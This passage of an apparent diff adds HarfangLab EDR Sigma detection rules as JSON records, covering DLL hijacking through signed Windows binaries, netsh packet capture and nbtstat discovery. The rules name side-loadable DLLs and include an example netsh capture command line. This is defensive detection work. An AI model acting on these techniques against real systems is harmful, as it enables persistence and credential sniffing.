classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dialer.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\rtutils.dll'\n            - '\\SspiCli.dll'\n            - '\\TAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91b43324-d77f-4b23-a3e1-57b8552ab213",
+  "rule_name": "DLL Hijacking via dialer.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dialer.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91f15516-6033-4263-94a0-fc73b7b04d71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078731Z",
+  "creation_date": "2026-03-23T11:45:34.078733Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078737Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_utilman.yml",
+  "content": "title: DLL Hijacking via utilman.exe\nid: 91f15516-6033-4263-94a0-fc73b7b04d71\ndescription: |\n    Detects potential Windows DLL Hijacking via utilman.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'utilman.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\duser.dll'\n            - '\\OLEACC.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91f15516-6033-4263-94a0-fc73b7b04d71",
+  "rule_name": "DLL Hijacking via utilman.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via utilman.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91f986ad-9625-4dc0-a9dc-55d37646ede1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295603Z",
+  "creation_date": "2026-03-23T11:45:35.295606Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295613Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://kb.acronis.com/content/65335",
+    "https://attack.mitre.org/techniques/T1040/",
+    "https://attack.mitre.org/software/S0108/"
+  ],
+  "name": "t1040_network_sniffing_netsh.yml",
+  "content": "title: Network Sniffed via netsh.exe\nid: 91f986ad-9625-4dc0-a9dc-55d37646ede1\ndescription: |\n    Detects the use of built-in Windows packet capture netsh.exe to do network sniffing.\n    Attackers may sniff network traffic to capture informations like the environment or authentication credentials.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://kb.acronis.com/content/65335\n    - https://attack.mitre.org/techniques/T1040/\n    - https://attack.mitre.org/software/S0108/\ndate: 2022/01/21\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - attack.s0108\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Netsh\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\netsh.exe'\n        - OriginalFileName: 'netsh.exe'\n    selection_command:\n        # netsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10\n        CommandLine|contains|all:\n            - 'trace'\n            - 'start'\n            - 'capture'\n\n    exclusion_azure:\n        ParentImage: '?:\\Packages\\Plugins\\Microsoft.Azure.NetworkWatcher.NetworkWatcherAgentWindows\\\\*\\NetworkWatcherAgent\\NetworkWatcherAgent.exe'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/data-collection-for-troubleshooting-802-1x-authentication-issues\n    exclusion_troubleshooting:\n        CommandLine: 'netsh trace start scenario=wlan,wlan_wpp,wlan_dbg,wireless_dbg globallevel=0xff capture=yes maxsize=1024 tracefile=?:\\MSLOG\\\\*_wireless_cli.etl'\n\n    exclusion_paloalto:\n        GrandparentImage:\n            - '?:\\Program Files\\Palo Alto\\GlobalProtect\\PanGPS.exe'\n            - '?:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPS.exe'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-troubleshooters/introduction-to-troubleshootingscript-toolset-tssv2\n    exclusion_tssv2:\n        CommandLine: '?:\\WINDOWS\\system32\\netsh.exe trace start capture=yes scenario=NDIS capturetype=physical traceFile=* correlation=no *maxSize=1 fileMode=circular overwrite=yes'\n        ParentCommandLine: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n\n    exclusion_perfview:\n        ProcessGrandparentOriginalFileName: 'PerfView.exe'\n        ProcessParentImage: '?:\\windows\\system32\\cmd.exe'\n\n    # https://learn.microsoft.com/en-us/defender-endpoint/run-analyzer-windows\n    exclusion_analyzer:\n        ProcessCommandLine|endswith: 'netsh.exe wfp capture start file=*\\NetTraces\\WfpDiag.cab keywords=19'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91f986ad-9625-4dc0-a9dc-55d37646ede1",
+  "rule_name": "Network Sniffed via netsh.exe",
+  "rule_description": "Detects the use of built-in Windows packet capture netsh.exe to do network sniffing.\nAttackers may sniff network traffic to capture informations like the environment or authentication credentials.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9254d951-1bb8-4473-b6df-9eef56f82c34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618684Z",
+  "creation_date": "2026-03-23T11:45:34.618686Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618690Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_psr.yml",
+  "content": "title: DLL Hijacking via psr.exe\nid: 9254d951-1bb8-4473-b6df-9eef56f82c34\ndescription: |\n    Detects potential Windows DLL Hijacking via psr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'psr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AEPIC.dll'\n            - '\\CLDAPI.dll'\n            - '\\FLTLIB.DLL'\n            - '\\HID.DLL'\n            - '\\msdrm.dll'\n            - '\\OLEACC.dll'\n            - '\\SspiCli.dll'\n            - '\\uireng.dll'\n            - '\\version.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9254d951-1bb8-4473-b6df-9eef56f82c34",
+  "rule_name": "DLL Hijacking via psr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via psr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92708e1b-412f-421c-999c-476dff6b969d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619744Z",
+  "creation_date": "2026-03-23T11:45:34.619746Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619750Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://strontic.github.io/xcyclopedia/library/nbtstat.exe-4320B5AED6DC77E8252C0D06A46FB90B.html",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_nbtstat.yml",
+  "content": "title: Nbtstat Execution\nid: 92708e1b-412f-421c-999c-476dff6b969d\ndescription: |\n    Detects the execution of NBTStat.exe, a tool often used by attackers to display protocol statistics and current TCP/IP connections.\n    Attackers may use it during discovery phase to gather informations about the host.\n    It is recommended to investigate the parent process for any other suspicious activity.\nreferences:\n    - https://strontic.github.io/xcyclopedia/library/nbtstat.exe-4320B5AED6DC77E8252C0D06A46FB90B.html\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2022/12/02\nmodified: 2026/02/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Nbtstat\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\nbtstat.exe'\n        - OriginalFileName: 'nbtinfo.exe'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_gathernetwork:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c nbtstat -? >> config\\FileSharing.txt'\n        GrandparentCommandLine: '?:\\windows\\system32\\cscript.exe ?:\\windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\Program Files\\Sophos\\Sophos Diagnostic Utility\\sdugui.exe'\n            - '?:\\Program Files\\Sophos\\Sophos Diagnostic Utility\\sducli.exe'\n            - '?:\\Program Files (x86)\\Sophos\\Sophos Diagnostic Utility\\sdugui.exe'\n            - '?:\\Program Files (x86)\\Sophos\\Sophos Diagnostic Utility\\sducli.exe'\n            - '?:\\Program Files (x86)\\\\*\\bin\\xda.service.exe' # Xerox Device Agent\n            - '?:\\Program Files (x86)\\ExpressVPN\\expressvpnd\\windows\\xvutil\\XvUtil.exe'\n            - '?:\\Program Files (x86)\\Dipisoft\\WakeOnLan\\WakeOnLan.exe'\n            - '?:\\program files (x86)\\xerox\\xerox centreware web\\bin\\xerox.cww.discovery.xrxdiscoveryservice.exe'\n            - '*\\WakeOnLan397_portable\\WakeOnLan.exe'\n            - '?:\\Program Files (x86)\\HEAT Software\\EMSS\\Web\\Services\\ScanEngine\\Engine\\engine.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files\\Goverlan Inc\\GoverlanAgent\\GovAgentx64.exe'\n            - '?:\\Program Files\\BMC Software\\BladeLogic\\RSC\\RSCD.exe'\n\n    exclusion_grandparentimage:\n        GrandparentImage: '?:\\Program Files (x86)\\Common Files\\Pulse Secure\\JUNS\\PulseSecureService.exe'\n\n    exclusion_printwayy:\n        ParentCommandLine: '?:\\Program Files (x86)\\Southwayy\\PrintWayy\\NetClientService\\Southwayy.PrintWayy.NetClientService.exe'\n\n    exclusion_nessus:\n        ParentCommandLine|startswith:\n            - '?:\\Windows\\System32\\cmd.exe /c echo nbt_* > ?:\\Windows\\temp\\nessus_????????.txt '\n            - '?:\\Windows\\System32\\cmd.exe /c echo nbt_* > ?:\\Windows\\TEMP\\nessus_????????.TMP '\n\n    exclusion_axiell:\n        ParentCommandLine: 'cmd /c nbtstat -n > InfoAxiell.txt'\n        GrandparentCommandLine:\n            - 'cache -c j -s ?:\\intersystems\\cache\\mgr'\n            - 'irisdb -c j -s ?:\\intersystems\\cache\\mgr'\n\n    exclusion_ccm:\n        - ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        - ProcessParentCommandLine|contains: '?:\\WINDOWS\\CCM\\SystemTemp\\\\????????-????-????-????-????????????.ps1'\n          ProcessGrandparentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_servicenow:\n        CommandLine|contains: ' > \\\\\\\\127.0.0.1\\c$\\temp\\\\*\\psscript_output_*.txt 2>&1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92708e1b-412f-421c-999c-476dff6b969d",
+  "rule_name": "Nbtstat Execution",
+  "rule_description": "Detects the execution of NBTStat.exe, a tool often used by attackers to display protocol statistics and current TCP/IP connections.\nAttackers may use it during discovery phase to gather informations about the host.\nIt is recommended to investigate the parent process for any other suspicious activity.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2026-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92771aa1-9e3c-4fc1-b632-4f10e7ce241a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590538Z",
+  "creation_date": "2026-03-23T11:45:34.590542Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590554Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@swastik.bhushan/gotomeeting-binary-g2mupload-exe-dll-sideloading-27aa3dbdbce7",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gotomeeting.yml",
+  "content": "title: DLL Hijacking via g2mupload.exe\nid: 92771aa1-9e3c-4fc1-b632-4f10e7ce241a\ndescription: |\n    Detects potential Windows DLL Hijacking via g2mupload.exe or g2mupdate.exe related to GoToMeeting software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://medium.com/@swastik.bhushan/gotomeeting-binary-g2mupload-exe-dll-sideloading-27aa3dbdbce7\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'G2M.exe'\n        ImageLoaded|endswith: '\\g2m.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\GoToMeeting\\'\n            - '?:\\Program Files (x86)\\GoToMeeting\\'\n            - '?:\\Program Files\\Citrix\\GoToMeeting\\'\n            - '?:\\Program Files (x86)\\Citrix\\GoToMeeting\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\GoToMeeting\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\Citrix\\GoToMeeting\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\GoToMeeting\\'\n            - '?:\\Program Files (x86)\\GoToMeeting\\'\n            - '?:\\Program Files\\Citrix\\GoToMeeting\\'\n            - '?:\\Program Files (x86)\\Citrix\\GoToMeeting\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\GoToMeeting\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\Citrix\\GoToMeeting\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'LogMeIn, Inc.'\n\n    filter_legitimate_parent:\n        ProcessSigned: 'true'\n        ProcessSignature: 'LogMeIn, Inc.'\n        ProcessParentImage|endswith: '\\g2mupdate.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92771aa1-9e3c-4fc1-b632-4f10e7ce241a",
+  "rule_name": "DLL Hijacking via g2mupload.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via g2mupload.exe or g2mupdate.exe related to GoToMeeting software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "927cc2ec-ed2a-488b-8207-882c3e9f8e3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601862Z",
+  "creation_date": "2026-03-23T11:45:34.601865Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601888Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_clip.yml",
+  "content": "title: DLL Hijacking via clip.exe\nid: 927cc2ec-ed2a-488b-8207-882c3e9f8e3e\ndescription: |\n    Detects potential Windows DLL Hijacking via clip.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - 